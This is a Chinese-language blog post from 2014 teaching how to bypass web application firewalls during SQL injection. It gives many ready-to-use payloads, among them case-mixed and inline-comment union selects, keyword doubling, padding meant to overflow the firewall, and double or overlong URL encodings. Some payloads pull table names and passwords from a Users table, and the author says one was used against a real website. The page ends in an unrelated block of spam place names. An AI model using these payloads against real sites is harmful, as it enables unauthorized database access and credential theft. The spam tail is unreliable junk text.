qileilove

          blog已經轉移至github,大家請訪問 http://qaseven.github.io/

          繞過WAF繼續SQL注入常用方法

           這篇文章之前的名字叫做:WAF bypass for SQL injection #理論篇,我于6月17日投稿了Freebuf。鏈接:點擊這里 現博客恢復,特發此處。
            Web Hacker總是生存在與WAF的不斷抗爭之中的,廠商不斷過濾,Hacker不斷繞過。WAF bypass是一個永恒的話題,不少基友也總結了很多奇技怪招。那今天我在這里做個小小的掃盲吧。先來說說WAF bypass是啥。
            WAF呢,簡單說,它是一個Web應用程序防火墻,其功能呢是用于過濾某些惡意請求與某些關鍵字。WAF僅僅是一個工具,幫助你防護網站來的。但是如果你代碼寫得特別渣渣,別說WAF幫不了你,就連wefgod都幫不了你…所以不能天真的以為用上WAF你的網站就百毒不侵了。開始正題—-
            1>注釋符
            相信很多朋友都知道SQL的注釋符吧,這算是繞WAF用的最廣泛的了。它們允許我們繞過很多Web應用程序防火墻和限制,我們可以注釋掉一些sql語句,然后讓其只執行攻擊語句而達到入侵目的。
            常用注釋符:
            //, -- , /**/, #, --+, -- -, ;%00
            2>情況改變
            然而,以前審計的一些開源程序中,有些廠商的過濾很不嚴謹,一些是采用黑名單方式過濾,但是有些只過濾了小寫形式,然而在傳參的時候并沒有將接收參數轉換為小寫進行匹配。針對這種情況,我們很簡單就能繞過。
            比如它的過濾語句是:
            /union\sselect/g
            那么我們就可以這樣構造:
            id=1+UnIoN/**/SeLeCT
            3>內聯注釋
            有些WAF的過濾關鍵詞像/union\sselect/g,就比如上面說的,很多時候我都是采用內聯注釋。更復雜的例子需要更先進的方法。比如添加了SQL關鍵字,我們就要進一步分離這兩個詞來繞過這個過濾器。
            id=1/*!UnIoN*/SeLeCT
            采用/*! code */來執行我們的SQL語句。內聯注釋可以用于整個SQL語句中。所以如果table_name或者者information_schema進行了過濾,我們可以添加更多的內聯注釋內容。
            比如一個過濾器過濾了:
            union,where, table_name, table_schema, =, and information_schema
            這些都是我們內聯注釋需要繞過的目標。所以通常利用內聯注釋進行如下方式繞過:
            id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -
            通常情況下,上面的代碼可以繞過過濾器,請注意,我們用的是 Like而不是 =
            當一切似乎失敗了之后,你可以嘗試通過應用防火墻關閉SQL語句中使用的變量:
            id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()-- -
            即使常見內聯注釋本身沒有工作,上述的代碼也應該可以繞過union+select過濾器。
            4>緩沖區溢出:
            意想不到的輸入:
            我們知道,很多的WAFS都是C語言的,他們在裝載一堆數據的時候,很容易就會溢出。下面描述的就是一個這樣的WAF,當它接收到大量數據惡意的請求和響應時。
            id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A's)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--+
            上面的bypass語句,我在最近的一個網站繞過上用到了。
            5>替換關鍵字(preg_replace and/or都能達到相同目的):
            有時程序會刪除所有的關鍵字,例如,有一個過濾器,他會把union select變成空白,這時我們可以采用以下方式進行繞過:
            id=1+UNIunionON+SeLselectECT+1,2,3–
            不難明白吧?union和select變成空白了,兩邊的又會重新組合成新的查詢。
            UNION+SELECT+1,2,3--6>Character編碼:
            有些情況下,WAF對應用程序中的輸入進行解碼,但是有些WAF是只過濾解碼一次的,所以只要我們對bypass語句進行雙重編碼就能將其繞過之。(WAF解碼一次然后過濾,之后的SQL語句就會被自動解碼直接執行了~)
            雙重編碼bypass語句示例:
            id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
            一些雙重編碼舉例:
            單引號:'
          %u0027
          %u02b9
          %u02bc
          %u02c8
          %u2032
          %uff07
          %c0%27
          %c0%a7
          %e0%80%a7
          空白:
          %u0020
          %uff00
          %c0%20
          %c0%a0
          %e0%80%a0
          左括號(:
          %u0028
          %uff08
          %c0%28
          %c0%a8
          %e0%80%a8
          右括號):
          %u0029
          %uff09
          %c0%29
          %c0%a9
          %e0%80%a9
            7>綜合:
            繞過幾個簡單的WAF之后,后面的任務也越來越容易了~下面說幾種方法來繞過你的目標WAF。
            7a>拆散SQL語句:
            通常的做法是:需要把SQL注入語句給拆散,來檢查是哪個關鍵字被過濾了。比如,如果你輸入的是union+select語句,給你報了一個403或內部服務器錯誤,什么union不合法什么的,就知道過濾了哪些了,也是常見的Fuzzing測試。這是制造bypass語句的前提。
            7b>冗長的報錯:
            當你的sql語法輸入錯誤時、對方網站又沒關閉錯誤回顯的時候,會爆出一大堆錯誤,在php中更會爆出敏感的網站根目錄地址。aspx則會爆出整個語法錯誤詳細信息。
            比如你輸入的語法是:
            id=1+Select+1,2,3--
            會給你報出以下錯誤:
            Error at line 1 near " "+1,2,3--
            上面也說過了黑名單方式過濾,也可以采用以下方式進行繞過:
            sel%0bect+1,2,3
            這只是眾多方法之一,繞過不同WAF需要不同的bypass思路。
            8>高級bypass技巧:
            正如前面所說的,當你嘗試著繞過幾個WAF之后,你會覺得其實他并不難,會感覺到很有趣,很有挑戰性 :b  ,當你在注入的時候發現自己被WAF之后,不要想要放棄,嘗試挑戰一下,看看它過濾了什么,什么語法允許,什么語法不允許。當然,你也可以嘗試暴力一些,就把它當成inflatable doll, [;:{}()*&$/|<>?"'] 中括號里的這些特殊字符不是留著擺設的撒~能報個錯出來都是頗為自豪的,騷年,你說對不對?
            但是,如果你試了N個語句,都tm被過濾了,整個人都快崩潰了,該怎么辦?很簡單,打開音樂播放器,放一首小蘋果放松一下。然后把WAF過濾的東東全部copy下來,仔細分析!俗話怎么說來著,世上無難事,只怕有心人。
            舉例來說,比如你分析到最后,發現所有的*都被換成空白了,就意味著你不能使用內聯注釋了,union+select也會給你返回一個403錯誤,在這種情況下,你應該充分利用*被替換成空白:
            id=1+uni*on+sel*ect+1,2,3--+
            這樣的話,*被過濾掉了,但是union+select被保留下來了。這是常見的WAF bypass技巧,當然不僅僅是union+select,其他的語法被過濾了都可以采用這種的。找到被替換的那個關鍵字,你就能找到繞過的方法。
            一些常見的bypass:
            id=1+(UnIoN)+(SelECT)+
            id=1+(UnIoN+SeLeCT)+
            id=1+(UnI)(oN)+(SeL)(EcT)
            id=1+'UnI''On'+'SeL''ECT' <-MySQL only
            id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
            注意:在mysql4.0種,UNI /**/ON+SEL/**/ ECT是沒辦法用的。
            結語:WAF的姿勢取決于你思維的擴散,自我感覺在WAF bypass的過程中能找到很多樂趣,不是嗎?更多姿勢歡迎pm我。

          posted on 2014-07-03 18:36 順其自然EVO 閱讀(218) 評論(0)  編輯  收藏


          只有注冊用戶登錄后才能發表評論。


          網站導航:
           
          <2014年7月>
          293012345
          6789101112
          13141516171819
          20212223242526
          272829303112
          3456789

          導航

          統計

          常用鏈接

          留言簿(55)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          搜索

          最新評論

          閱讀排行榜

          評論排行榜

          主站蜘蛛池模板: 天门市| 新巴尔虎左旗| 新昌县| 嵊州市| 子洲县| 镇远县| 巨野县| 吉首市| 永福县| 平谷区| 开远市| 邹平县| 南岸区| 阜新市| 茶陵县| 毕节市| 类乌齐县| 崇仁县| 秭归县| 昭苏县| 凤阳县| 合肥市| 兴仁县| 邻水| 富川| 鲜城| 聂荣县| 英山县| 全椒县| 巨鹿县| 阜康市| 永昌县| 建德市| 屯留县| 思南县| 宜宾市| 长岛县| 山阳县| 新野县| 平昌县| 南和县|